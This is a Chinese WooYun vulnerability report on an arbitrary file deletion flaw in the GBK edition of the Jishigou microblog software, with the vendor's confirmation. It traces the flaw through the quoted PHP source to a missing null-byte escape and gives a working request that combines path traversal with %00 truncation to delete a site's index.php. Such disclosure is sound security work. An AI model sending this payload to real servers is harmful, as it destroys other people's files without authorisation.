当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043705

漏洞标题:记事狗GBK版本任意文件删除漏洞

相关厂商:杭州神话

漏洞作者: Chora

提交时间:2013-11-22 15:28

修复时间:2014-02-20 15:28

公开时间:2014-02-20 15:28

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-22: 细节已通知厂商并且等待厂商处理中
2013-11-22: 厂商已经确认,细节仅向厂商公开
2013-11-25: 细节向第三方安全合作伙伴开放
2014-01-16: 细节向核心白帽子及相关领域专家公开
2014-01-26: 细节向普通白帽子公开
2014-02-05: 细节向实习白帽子公开
2014-02-20: 细节向公众公开

简要描述:

想了下还是提交算了,留着也没用。好久没搞黑盒了,恢复恢复求带啊。

详细说明:

问题出在一个自定义函数上,官方好像出了4.5版本没去看是否也是用的这个函数,4.0大概找了下没找到可用包含的,要是4.5也有这个函数,新版本应该有包含漏洞,我就不去深究了,主要是指出问题,修正。
include/function/global.func.php

if(!function_exists('jaddslashes')) {
function jaddslashes($string) {
if(is_array($string)) {
$keys = array_keys($string);
foreach($keys as $key) {
$val = $string[$key];
unset($string[$key]);
$string[jjaddslashes($key)] = jaddslashes($val);
}
} else {
$string = jjaddslashes($string);
}
return $string;
}
}
function jjaddslashes($str) {
if(MAGIC_QUOTES_GPC) $str = stripslashes($str);//去掉转义
if('gbk'==$GLOBALS['_J']['charset']) {
$str = gbk_addslashes($str);//为GBK编码的时候,使用自定义的GBK函数。
} else {
$str = addslashes($str);
}
return $str;
}
function gbk_addslashes($text) {
for ( ; ; ) {
$i = mb_strpos($text, chr(92), 0, "GBK");
if ($i === false) break;
$T = mb_substr($text, 0, $i, "GBK") . chr(92) . chr(92);//将\添加一个\即\\,模仿GPC功能
$text = substr($text, strlen($T) - 1);
$OK .= $T;
}
$text = $OK . $text;
$text = str_replace(chr(39), chr(92) . chr(39), $text);//将'转义成\'
$text = str_replace(chr(34), chr(92) . chr(34), $text);//将"转义成\"
return $text;
}


但是上面的代码忘了GPC的另外一个重要功能,那就是%00的截断会被转义成\0,而上面并没有定义这个功能,所以导致了可截断。
modules/ajax/misc.mod.php

function refalshStatic(){
$type = jget('type'); //可控
$cache_id = 'misc/'.$type.'_statistics';
cache_file('rm',$cache_id); //跟进0x01
if($type == 'other'){
cache_file('rm','misc/data_length');
}
$func = 'get'. ucfirst($type).'Statistics';
$ret = jlogic('other')->$func();
#生成html代码
$head_html = "<tr class='altbg1'>";
$body_html = "<tr class='altbg2'>";
if($ret){
foreach ($ret['data'] as $k => $v) {
$head_html .= "<td>{$v['name']}</td>";
$body_html .= "<td>{$v['num']}</td>";
}
}
$head_html .= "</tr>";
$body_html .= "</tr>";
echo $head_html.$body_html;
}


include/function/global.func.php 0x01

function cache_file($cmd, $key='', $val='', $life=0) {
return jcache($cmd, $key, $val, $life, 'file');
}
function jcache($cmd, $key='', $val='', $life=0, $type='file') {
$cmds = array('get'=>1, 'mget'=>1, 'set'=>1, 'mset'=>1, 'rm'=>1, 'mrm'=>1, 'del'=>1, 'clear'=>1, 'clean'=>1);
if(isset($cmds[$cmd])) {
$type = ('db' == $type ? 'db' : 'file');
switch ($cmd) {
case 'get': return jmodel('cache/' . $type)->get($key); break;
case 'mget': return jmodel('cache/' . $type)->get($key, 1); break;
case 'set': return jmodel('cache/' . $type)->set($key, $val, $life); break;
case 'mset': return jmodel('cache/' . $type)->set($key, $val, $life, 1); break;
case 'rm' : case 'del': return jmodel('cache/' . $type)->rm($key, $val); break; //跟进0x02
case 'mrm' : return jmodel('cache/' . $type)->rm($key, $val, 1); break;
case 'clear': case 'clean': return jmodel('cache/' . $type)->clear(); break;
}
}
return null;
}


include/class/cache/file.class.php

function rm($key, $more=0) {
return $this->del($key, $more);
}
function del($key, $more=0) {
if($this->memory) {
$this->memory->del($key, $this->prefix);
} else {
if($more && is_dir(($dir = $this->path . $key))) {
$ret = $this->io->ClearDir($dir);
} else {
$ret = $this->io->DeleteFile($this->_file($key)); //删除文件
}
}

return $ret;
}
function _file($key) {
return $this->path . $key . '.cache.php'; //因为后缀要加上.cache.php,所以只能删除缓存文件,但是我们截断的话就可以删除任意文件。
}


注册一个用户,提交localhost/jishigou/ajax.php?mod=misc&code=refalshstatic&type=../../../../index.php%00
删除主页。
会出现致命错误页面,因为在触发删除函数后,后面调用了OtherLogic类的方法,方法名是有type参数提供的,
$func = 'get'. ucfirst($type).'Statistics';
$ret = jlogic('other')->$func();
虽然可以截断函数调用这个类的其他函数,但是这个类里面没找到利用的。
虽然是致命错误但是前面的删除已经触发了,所以无影响。

漏洞证明:

1.png

2.png

修复方案:

不包养了。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-22 16:41

厂商回复:

非常感谢 Chora@乌云 的反馈,正在抓紧修理。。。

最新状态:

暂无